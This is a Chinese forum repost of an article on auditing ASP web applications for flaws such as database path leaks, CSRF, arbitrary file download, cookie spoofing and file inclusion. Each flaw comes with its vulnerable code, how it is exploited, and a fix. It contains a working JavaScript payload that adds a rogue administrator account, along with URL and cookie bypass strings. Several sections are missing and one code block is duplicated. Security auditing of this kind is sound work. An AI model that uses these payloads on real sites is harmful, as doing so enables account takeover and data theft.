QQ登录

只需一步,快速开始

小U分享论坛

快捷导航
查看: 708|回复: 0

[话题] Web源码安全审计之ASP篇

[复制链接]

该用户从未签到

发表于 2019-5-1 20:50:42 | 显示全部楼层 |阅读模式
ASP是一种服务器端脚本编写环境,可以用来创建和运行动态网页或Web应用程序。ASP网页可以包含HTML标记、普通文本、脚本命令以及COM组件等。利用ASP可以向网页中添加交互式内容(如在线表单),也可以创建使用HTML网页作为用户界面的web应用程序。
0×02 ASP漏洞介绍:
一.数据库路径泄露 (DataBase Path Leak)
概述:数据库路径泄露主要表现在ASP+Access搭建的WEB中,当攻击者提交%5c的时候,IIS会解析错误,导致输出了真实数据库路径, %5c是\的十六进制代码,也就是\的另一种表示方法。
漏洞原理:我们在提交数据的时候,IE会自动把%5c转换成/,从而得到同一地址。在asp类型网站中,都会用到一个数据库连接的文件,名字一般是conn.asp。
漏洞代码:这里我用动力文章系统做案例,代码如下:
dim conn
dim connstr
dim db
db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '数据库文件的位置
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.Open connstr
%>
漏洞利用:当访问http://www.aspmps.com/cn%5cconn.asp IIS就会报错将数据库绝对路径输出到客户端,如下图所示
当数据库路径被泄露,攻击者就可以将数据库下载到本地,找到表中的后台管理员账户和密码,这样就可以轻松进入网站的后台管理,此漏洞只针对于ACCESS数据库,SQL server数据库不受影响。 动力系统的暴库问题已久,去年360公司为此发布一则公告,多家媒体都有转载 链接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。
漏洞修复:修补此漏洞的方法有2种,第一种在conn.open connstr 代码之前加入 On Error Resume Next ,第二种方法在IIS服务器配置选项中选择“向客户端发送下列文本错误消息”。如下图2
gQX0B0euZX0R5rrU.jpg
Web源码安全审计之ASP篇(2) - 51CTO.COM
三.跨站请求伪造攻击(Cross Site Request Forgery)
概述:CSRF是Cross Site Request Forgery的缩写,直译过来就是跨站请求伪造的意思,通常用来指 WEB 网站的这一类漏洞,即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL ,从而达到改变服务器端数据的目的。
漏洞原理:结合跨站漏洞,利用JS脚本代码,做管理员身份才能做的事,但这种动作非管理员本身的请求。
漏洞代码:此系统中有个安全过滤函数HTMLEncode,代码如下:
Public Function HTMLEncode(str)
If Not IsNull(str) Then
str = Replace(str, Chr(38), "&")
str = Replace(str, "", ">")
str = Replace(str, Chr(9), " ")
str = Replace(str, Chr(32), " ")
str = Replace(str, Chr(34), """)
str = Replace(str, Chr(39), "'")
str = Replace(str, Chr(13) & Chr(10), "
")
str = Replace(str, Chr(10), "
")
str = Replace(str, Chr(13), "
")
HTMLEncode = str
End If
End Function
//以下是漏洞关键点
Content = ""
For i = 1 To Request.Form("Content").Count
Content = Content & Request.Form("Content")(i)
Next
………… //省略部分代码
rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)
rs("Guest_TEL")=HTMLEncode(Guest_TEL)
rs("Guest_FAX")=HTMLEncode(Guest_FAX)
rs("Content")=Content
rs.Update
上述代码中Content变量经过Request.Form获取后并没有像Guest_FAX变量这样经过HTMLEncode过滤。
漏洞利用:利用方法如图所示
KngNx4tMIMwjuijl.jpg
Xss.js脚本作用是执行添加一个新的管理员topsec。代码如下:
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i
try {
request = new ActiveXObject(versions);
} catch(e) {}
}
}
xmlhttp=request;
add_admin();
function add_admin(){
var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add";
var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params);
}
植入如图所示的一段代码后,当管理员进入后台去查看此留言的时候就会触发该漏洞,系统会自动给我们加上账户为topsec,密码为123456的管理员。
漏洞修复:加入token认证,修复前台跨站漏洞。
四.任意文件下载(Arbitrary File Download)
概述:如果系统存在stream流模式下载模块,而对应下载文件的地址没有做过安全过滤处理,则会发生任何文件都可被下载的安全隐患,在windows平台下此问题更加严重。
漏洞原理:Windows系统支持“.asp+空格”和“.asp+.”等同于“.asp”文件,如果存在下载模块未加验证,则可以下载任意文件。
漏洞代码:下面以沸腾展望系统经典下载漏洞源码做介绍。关键源码如下:
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Dim SavePath
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
If FileName = "" Then
Response.Write "无效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
SavePath = FileUploadPath '存放上传文件的目录
TrueFileName = SavePath & FileName
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%> Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Dim SavePath
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
If FileName = "" Then
Response.Write "无效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
SavePath = FileUploadPath '存放上传文件的目录
TrueFileName = SavePath & FileName
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
上述代码粗体部分是漏洞形成的关键代码,首先程序通过 Request.QueryString(“FileName”) 方法指定任意文件名,虽然程序在下面判断了文件后缀名,可是并没有对后缀名进行安全处理,导致客户端可以在后缀名之后加上空格的URL编码从而绕过程序的验证,文件被下载。
漏洞利用:利用方法如下图
dXeE10IrElBAbYez.jpg
如图上所示当攻击者在浏览器的地址栏中输入“down.asp?filename=./cn/index.asp%20”, %20就是经过URL编码后的空格,%2E就是经过URL编码后的“.”,提交后迅雷就会提示下载。
漏洞修复:修补的方法也很简单,下载文件前最好带入数据库查询,存在则下载。还有种方法,用正则表达式去限制。
Web源码安全审计之ASP篇(5) - 51CTO.COM
六.Cookies欺骗(Cookies Spoofing)
概述:在只对用户做Cookies验证的系统中,通过修改Cookies的内容来得到相应的用户权限登录。Cookies欺骗在入侵中经常用到,通过修改Cookies的内容来得到相应的用户权限登录,从而达到攻击的目的。
漏洞原理:到底什么是Cookies,它有什么作用呢?Cookies是一种能够让网站服务器把少量数据储存到客户端的硬盘或内存,或是从客户端的硬盘读取数据的一种技术。Cookies是当你浏览某网站时,由Web服务器置于你硬盘上的一个非常小的文本文件,它可以记录你的用户ID、密码、浏览过的网页、停留的时间等信息。
漏洞代码:接下来还是以自由动力文章系统做案例,访问后台文件UploadSoft.asp必须通过授权验证,此程序通过Cookies验证造成了安全隐患。没设置Cookies之前如图所示
szZa6q5ANSwmadd7.jpg
关键代码如下:
if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then
response.Write("请登录后再使用本功能!")
else
select case upload_type
case 0
call upload_0() '使用化境无组件上传类
case else
response.write "本系统未开放插件功能"
response.end
end select
end if
%>
代码中IF语句判断有问题,如果Session和Cookies值都为空则不能继续执行,否则可以调用上传函数upload_0()。 那攻击者只需要做到满足Cookies值不为空就可以调用上传函数了,这个上传函数在上一节已经提到过存在变量继承上传漏洞,这两个漏洞一结合危害就很大了。
漏洞利用:用火狐插件修改成asp163=UserName=asp设置Cookies后如下图所示
KtqRCJKKhNRBCZk7.jpg
这样就绕过了Cookies的验证,造成可以上传文件,为后来变量继承漏洞的成功实现创造了条件。
漏洞修复:可以加密Cookies,后台关键文件最好用Session去验证。
七.本地文件包含(Local File Inclusion)
概述:ASP Execute方法的作用是执行一个来自于其他ASP文件内部的ASP程序。
漏洞原理:当其他ASP文件内的程序被请求执行完毕之后,控制器将返回最初发出请求的原始ASP文件。与PHP包含漏洞不同的是Execute方法只能包含本地文件。
漏洞代码:

equest方法获取的参数file没经过安全处理,被Execute方法执行了。
漏洞利用:若某个应用程序不存在上传漏洞,那么攻击者可以上传个正常图片格式的文件,文件中包换ASP脚本代码,这时候就可以用本地包含漏洞去执行图片中的ASP代码。如下图所示
如果jpg里写入的ASP小马,那就可以轻松得到一个WebShell。
漏洞修复:尽量系统指定执行文件,不要让客户端提交参数,实在需要动态改变参数,可以辅助一个匹配文件,若客户端提交的参数在文件中出现,则可以执行,否则不允许继续执行。
八.路径操控(Path Manipulation)
概述:用户输入控制 file system 操作所用的路径,借此攻击者可以访问或修改其他受保护的系统资源。
漏洞原理:当满足以下两个条件时,就会产生path manipulation 错误:
1. 攻击者能够指定某一 file system操作中所使用的路径。
2. 攻击者可以通过指定特定资源来获取某种权限,而这种权限在一般情况下是不可能获得的。
漏洞代码:下面以经典的Ewebeditor编辑器做分析,在编辑器文件管理处存在一个路径操控漏洞,攻击者可以指定路径的读取范围,造成安全隐患。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则